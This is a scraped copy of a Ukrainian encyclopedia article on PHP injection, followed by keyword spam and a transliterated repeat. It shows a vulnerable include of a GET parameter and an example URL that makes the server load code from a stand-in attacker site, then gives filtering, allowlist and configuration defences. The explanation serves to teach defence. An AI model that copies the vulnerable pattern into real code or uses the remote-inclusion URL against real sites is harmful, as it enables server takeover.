PHP-ін'єкція (англ. PHP injection) — один із способів злому вебсайтів, що працюють на PHP, який полягає у виконанні стороннього коду на серверній стороні. Потенційно небезпечними функціями є:
- eval(),
- preg_replace() (з модифікатором «e»),
- require_once(),
- include_once(),
- include(),
- require(),
- create_function().
PHP-ін'єкція стає можливою, якщо вхідні параметри приймаються і використовуються без перевірки.
Приклад
<? ... $module = $_GET['module']; include ($module.'.php'); ... ?>
Цей скрипт уразливий, оскільки до вмісту змінної $module
просто додається «.php» та підключається файл.
Зломщик може на своєму сайті створити файл, що містить PHP-код (http://hackersite.com/inc.php
), і зайшовши на сайт за посиланням на зразок http://mysite.com/index.php?module=http://hackersite.com/inc
виконати будь-які PHP-команди.
Способи захисту
Існує декілька способів захисту від такої атаки:
- Перевіряти, чи не містить змінна
$module
сторонні символи:
<? ... $module = $_GET['module']; if (strpbrk($module, '. ?/:') ) die('Blocked'); include $module. '.php'; ... ?>
- Перевіряти, що
$module
присвоєно одне з допустимих значень:
<? ... $module = $_GET['module']; $arr = array('main', 'about','links','forum'); if (!in_array($module, $arr) ) $module = $arr[0]; include $module. '.php' ; ... ?>
Цей спосіб є ефективнішим.
PHP надає також можливість відключення використання віддалених файлів, це реалізується шляхом зміни значення опції allow_url_fopen
на Off у файлі конфігурації сервера php.ini
.
Див. також
- (Ін'єкція в хакерських атаках)
- SQL ін'єкція
Посилання
- Сторінка документації PHP, присвячена безпеці [ 10 лютого 2012 у Wayback Machine.]
Вікіпедія, Українська, Україна, книга, книги, бібліотека, стаття, читати, завантажити, безкоштовно, безкоштовно завантажити, mp3, відео, mp4, 3gp, jpg, jpeg, gif, png, малюнок, музика, пісня, фільм, книга, гра, ігри, мобільний, телефон, android, ios, apple, мобільний телефон, samsung, iphone, xiomi, xiaomi, redmi, honor, oppo, nokia, sonya, mi, ПК, web, Інтернет
PHP in yekciya angl PHP injection odin iz sposobiv zlomu vebsajtiv sho pracyuyut na PHP yakij polyagaye u vikonanni storonnogo kodu na servernij storoni Potencijno nebezpechnimi funkciyami ye eval preg replace z modifikatorom e require once include once include require create function PHP in yekciya staye mozhlivoyu yaksho vhidni parametri prijmayutsya i vikoristovuyutsya bez perevirki Priklad lt module GET module include module php gt Cej skript urazlivij oskilki do vmistu zminnoyi module prosto dodayetsya php ta pidklyuchayetsya fajl Zlomshik mozhe na svoyemu sajti stvoriti fajl sho mistit PHP kod http hackersite com inc php i zajshovshi na sajt za posilannyam na zrazok http mysite com index php module http hackersite com inc vikonati bud yaki PHP komandi Sposobi zahistuIsnuye dekilka sposobiv zahistu vid takoyi ataki Pereviryati chi ne mistit zminna module storonni simvoli lt module GET module if strpbrk module die Blocked include module php gt Pereviryati sho module prisvoyeno odne z dopustimih znachen lt module GET module arr array main about links forum if in array module arr module arr 0 include module php gt Cej sposib ye efektivnishim PHP nadaye takozh mozhlivist vidklyuchennya vikoristannya viddalenih fajliv ce realizuyetsya shlyahom zmini znachennya opciyi allow url fopen na Off u fajli konfiguraciyi servera php ini Div takozhIn yekciya v hakerskih atakah SQL in yekciyaPosilannyaStorinka dokumentaciyi PHP prisvyachena bezpeci 10 lyutogo 2012 u Wayback Machine